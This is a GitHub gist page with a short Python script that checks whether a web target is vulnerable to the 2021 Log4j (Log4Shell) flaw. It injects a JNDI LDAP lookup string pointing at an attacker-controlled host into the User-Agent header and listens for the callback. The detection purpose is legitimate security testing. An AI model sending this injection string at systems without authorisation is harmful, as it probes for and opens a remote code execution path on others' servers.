Skip to content

Instantly share code, notes, and snippets.

@raytheon0x21
Forked from byt3bl33d3r/log4j_rce_check.py
Created December 12, 2021 01:24
Show Gist options
  • Save raytheon0x21/5246dab8fb9de8f07f4858bd3636badc to your computer and use it in GitHub Desktop.
Save raytheon0x21/5246dab8fb9de8f07f4858bd3636badc to your computer and use it in GitHub Desktop.

Revisions

  1. @byt3bl33d3r byt3bl33d3r created this gist Dec 10, 2021.
    88 changes: 88 additions & 0 deletions log4j_rce_check.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,88 @@
    #! /usr/bin/env python3

    '''
    Needs Requests (pip3 install requests)
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: DWTFUWANTWTL (Do What Ever the Fuck You Want With This License)
    This should allow you to detect if something is potentially exploitable to the log4j 0day dropped on December 9th 2021.
    WARNING: This script is extremely naive in a lot of ways cause it was put together in 15 min. See comments below.
    References:
    - https://www.lunasec.io/docs/blog/log4j-zero-day/
    - https://github.com/tangxiaofeng7/apache-log4j-poc
    - https://github.com/apache/logging-log4j2/pull/608
    '''

    import logging
    import requests
    import socket
    import argparse
    import threading
    import time

    handler = logging.StreamHandler()
    handler.setFormatter(
    logging.Formatter(
    style="{",
    fmt="[{name}:{filename}] {levelname} - {message}"
    )
    )

    log = logging.getLogger("log4jscanner")
    log.setLevel(logging.DEBUG)
    log.addHandler(handler)

    def tcp_server(attacker_host):
    _, PORT = attacker_host.split(':')
    HOST = ''
    PORT = int(PORT)

    log.debug(f"Starting server on 0.0.0.0:{PORT}")
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
    log.debug(f"Connected by {addr}. If this is the same host you attacked its most likely vulnerable")
    while True:
    data = conn.recv(1024)
    if not data: break
    print(data.hex())

    def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('url', help='target http url')
    parser.add_argument('--attacker-host', type=str, dest='attacker_host', default='127.0.0.1:1389', help="attacker's host:port ")
    parser.add_argument('--timeout', type=int, dest='timeout', default=10, help='timeout to start listening')

    args = parser.parse_args()

    server_thread = threading.Thread(target=tcp_server, args=(args.attacker_host,))
    server_thread.setDaemon(True)
    server_thread.start()

    time.sleep(2)

    try:
    """
    Due of the nature of the exploit, any HTTP field could be used to exploit a vulnerable machine (as long as it's being logged on the affected host)
    Here we're just injecting the string in the User-Agent field.
    """

    requests.get(
    args.url,
    headers={'User-Agent': f'${{jndi:ldap://{args.attacker_host}/exploit.class}}'},
    verify=False
    )
    except requests.exceptions.ConnectionError as e:
    log.error(f"HTTP connection to target URL error: {e}")

    log.debug(f"Waiting {args.timeout} seconds for a response")
    time.sleep(args.timeout)

    if __name__ == "__main__":
    main()